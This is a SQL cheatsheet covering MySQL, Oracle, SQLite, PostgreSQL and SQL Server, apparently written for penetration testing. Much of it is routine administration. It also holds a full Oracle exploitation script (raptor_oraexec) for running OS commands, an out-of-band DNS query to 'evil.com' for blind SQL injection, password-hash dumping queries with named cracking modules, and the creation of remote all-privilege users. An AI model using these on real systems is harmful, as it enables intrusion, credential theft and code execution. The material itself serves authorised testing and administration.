SQL - Cheatsheet

SQL Cheatsheet

Generic Queries

Update field

```
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
```

Get first row of data from table

Replace `table` with a valid table in your db.

```
SELECT * FROM <table> LIMIT 1;
```

Single-line comment

```
-- stuff to comment out
```

Multi-line comment

```
/**
stuff to comment out
**/
```

Delete the last n rows from a table

```
DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID DESC)
```

Delete the first n rows from a table

```
DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID ASC)
```

Get the number of rows in a table

```
SELECT COUNT(*) FROM <table>;
```

Resources:

https://www.w3schools.com/sql/sql_update.asp

https://ask.sqlservercentral.com/questions/45952/deleting-last-n-rows-from-a-table.html

MySQL Specific Notes

Connect to database via command line

```
mysql -h <hostname|ip address> -u username <database name> -P <port>
# Enter password
```

Try passwordless auth

Get the login path(s):

```
mysql_config_editor print --all
```

If one of the paths was (for example) `root_path`, try connecting to the database with it:

```
mysql --login-path=root_path
```

Resources:
https://opensourcedbms.com/dbms/passwordless-authentication-using-mysql_config_editor-with-mysql-5-6/
https://dba.stackexchange.com/questions/86595/how-can-i-make-mysql-client-read-password-from-mylogin-cnf

Reset password

If you're unable to access the db, have privileged access, and aren't worried about causing a service disruption, reset the password:

```
sudo systemctl stop mysql
sudo mysqld_safe --skip-grant-tables
mysql -u root
```

Resource: https://www.digitalocean.com/community/tutorials/how-to-reset-your-mysql-or-mariadb-root-password

Run command from the CLI

```
mysql -u username -h my.application.com <database> -p -e "show databases";
```

Create new remote access user

```
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypass';
CREATE USER 'myuser'@'%' IDENTIFIED BY 'mypass';
GRANT ALL ON *.* TO 'myuser'@'localhost';
GRANT ALL ON *.* TO 'myuser'@'%';
```

Create new remote access user with root privs

```
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'localhost' WITH GRANT OPTION;
CREATE USER 'myuser'@'%' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' WITH GRANT OPTION;
CREATE USER 'admin'@'localhost';
GRANT RELOAD,PROCESS ON *.* TO 'admin'@'localhost';
CREATE USER 'dummy'@'localhost';
FLUSH PRIVILEGES;
```

Resources: https://stackoverflow.com/questions/16747035/mysql-creating-a-user-with-root-privileges

Show databases

```
show databases;
```

Use database

```
USE [database name];
```

Show tables

```
show tables;
```

Get table schema

```
describe [database].[table]
```

Alternatively:

```
SELECT
   COLUMN_NAME
FROM
   information_schema.COLUMNS
WHERE
   TABLE_NAME = '<TABLE NAME>';
```

Resource: http://www.postgresqltutorial.com/postgresql-describe-table/

Show users

```
SELECT user FROM mysql.user;
```

Get password hashes

```
SELECT host, user, password FROM mysql.user;
```

Show privileges of current user

```
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
```

Oracle

Get current user

```
SELECT user FROM dual;
```

Get Permissions for current user

```
SELECT * FROM session_privs;
```

Get all db users

```
SELECT username FROM all_users ORDER BY username;
```

Get all tables and owners of those tables

```
SELECT owner, table_name FROM all_tables;
```

Get location of database files on filesystem

```
SELECT name FROM V$DATAFILE;
```

Make DNS request

This can be a great way to check for vulnerabilities such as Blind SQL Injection.

```
SELECT UTL_INADDR.get_host_address('evil.com/test') FROM dual;
```

Get running processes

```
FROM v$process p, v$session s

WHERE p.addr=s.paddr ORDER BY 2, 3, 1
```

Get OS platform info

```
SELECT platform_name FROM v$database;
```

Execute system commands

Try using raptor_oraexec:

```
--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
```

```
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
 /*
  * Command execution module
  */
 public static void execCommand(String command) throws IOException
 {
  Runtime.getRuntime().exec(command);
 }

 /*
  * File reading module
  */
 public static void readFile(String filename) throws IOException
 {
  FileReader f = new FileReader(filename);
  BufferedReader fr = new BufferedReader(f);
  String text = fr.readLine();
  while (text != null) {
   System.out.println(text);
   text = fr.readLine();
  }
  fr.close();
 }
```

```
 /*
  * File writing module
  */
 public static void writeFile(String filename, String line) throws IOException
 {
  FileWriter f = new FileWriter(filename, true); /* append */
  BufferedWriter fw = new BufferedWriter(f);
  fw.write(line);
  fw.write("\n");
  fw.close();
 }
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/
```

Resources

http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

http://www.oracle.com/technetwork/articles/linux/saternos-scripting-088882.html

http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql

https://www.pcwdld.com/sql-cheat-sheet

SQLite

Clear screen

```
Ctrl-l
```

Output to CSV

```
.headers on
.mode csv
.output <name of file>.csv
SELECT * FROM <table> WHERE <condition>;
.output stdout
```

Match wildcard information (like a regex)

```
SELECT * FROM <table> WHERE <column> LIKE '%<criteria to match%';
```

Resources:
https://stackoverflow.com/questions/6076984/sqlite-how-do-i-save-the-result-of-a-query-as-a-csv-file

Delete entry in table

```
DELETE FROM <table name> WHERE <column name> = 'value';
```

Resource: https://www.tutorialspoint.com/sqlite/sqlite_delete_query.htm

PostgreSQL

Connect to a db

```
PORT=5432
psql -p $PORT
```

If you're having issues connecting, and you know it's running, try including:

```
-h /tmp
```

for example:

```
psql -p 5432 -h /tmp
```

Run multiple SQL queries with psql

```
psql $DB_NAME -U $DB_USER -c "SELECT * FROM table1" -c "SELECT * FROM table2"
```

Resource: https://stackoverflow.com/questions/19674456/run-postgresql-queries-from-the-command-line

Change pager to less

Use `less` instead of `more` when you run a command like `\dt`:

```
\setenv PAGER less
```

Resource: https://askubuntu.com/questions/1039090/set-postgresql-pager-to-less

List databases

```
\l
```

Current database

```
SELECT current_database();
```

Connect to database

```
\c <database_name>
```

Show tables in database

```
\dt
```

Alternatively if you don't have access to `psql`:

```
SELECT * FROM
  information_schema.tables
WHERE
  table_schema = 'dbname';
```

Another alternative:

```
SELECT * FROM
  pg_catalog.pg_tables
WHERE
  schemaname != 'pg_catalog'
```

```
AND
  schemaname != 'information_schema';
```

Resource: http://www.postgresqltutorial.com/postgresql-show-tables/

Get number of tables in database

```
SELECT COUNT(*) FROM
  pg_catalog.pg_tables
WHERE
  schemaname = 'dbname';
```

Resource: https://stackoverflow.com/questions/13931494/how-to-get-the-total-number-of-tables-in-postgresql

List roles

```
SELECT rolname FROM pg_roles;
```

Ascending Order

```
ORDER BY table_name ASC;
```

For example:

```
SELECT * FROM
  information_schema.tables
WHERE
  table_schema = 'dbname'
ORDER BY
  table_name
ASC;
```

Resource: https://stackoverflow.com/questions/43805229/alphabetical-sort-in-postgresql-using-indexes

List users

```
SELECT usename FROM pg_user;
```

List DBA accounts

Note that this command requires a privileged account:

```
SELECT usename FROM pg_user WHERE usesuper IS TRUE;
```

Create user

```
CREATE USER <user_name> WITH PASSWORD '<password>';
```

Drop user

```
DROP USER IF EXISTS <user_name>;
```

Get table schema (postgres)

```
\d <table name>
```

Insert data into table

```
INSERT INTO <table_name> VALUES( <value_1>, <value_2>);
```

Insert data into table with id from a select

If you're inserting data into a table and need to get an ID from another, run the following:

```
INSERT INTO table_name(column1_name, column2_name, column3_name) VALUES ((SELECT id FROM another_table_name WHERE another_table_column_name = 'some_name' AND parent_id IS NULL), 'hostname', 'google.com');
```

Resource: https://www.chesnok.com/daily/2013/11/19/everyday-postgres-insert-with-select/comment-page-1/

Delete data from table

```
DELETE FROM <table_name> WHERE <column_name> = <value>;
```

Delete all data from table

```
DELETE FROM <table_name>;
```

Disconnect from database

```
\q
```

Resource: https://gist.github.com/apolloclark/ea5466d5929e63043dcf

Show queries being executed

```
SELECT * FROM pg_stat_activity;
```

Resource: https://stackoverflow.com/questions/17654033/how-to-use-pg-stat-activity

Get password hashes (postgres)

```
SELECT username, passwd FROM pg_shadow;
```

You can also use metasploit to grab and crack them with `auxiliary/scanner/postgres/postgres_hashdump` and `auxiliary/analyze/jtr_postgres_fast`.

Output to CSV (postgres)

```
\copy (SELECT * FROM foo) TO '/tmp/test.csv' WITH CSV
```

For example, this will output the table names associated with the dbname database in ascending order to `/tmp/output.csv`:

```
\copy (SELECT table_name FROM information_schema.tables WHERE table_schema = 'dbname' ORDER BY table_name ASC) TO '/tmp/output.csv' WITH CSV;
```

Resource: https://stackoverflow.com/questions/1517635/save-pl-pgsql-output-from-postgresql-to-a-csv-file

Log all queries using the official image

Add this to your `docker-compose.yml` for your `postgres` service:

```
# log all queries
command: ["postgres", "-c", "log_statement=all", "-c", "log_destination=stderr"]
```

You can then view the output using this docker-compose command.

Resource: https://stackoverflow.com/questions/57015003/log-all-queries-in-the-official-postgres-docker-image

SQL Server

macOS Client

Download SQLPro for MSSQL.

ESTABLISHING A CONNECTION on macOS

1. Open SQLPro for MSSQL and click the New button
2. Input the server name in this format: `hostname\instance_name`
3. Specify SQL Server authentication for Authentication unless told otherwise.
4. Put in the username for Login and the password for Password
5. Click Save

Original Article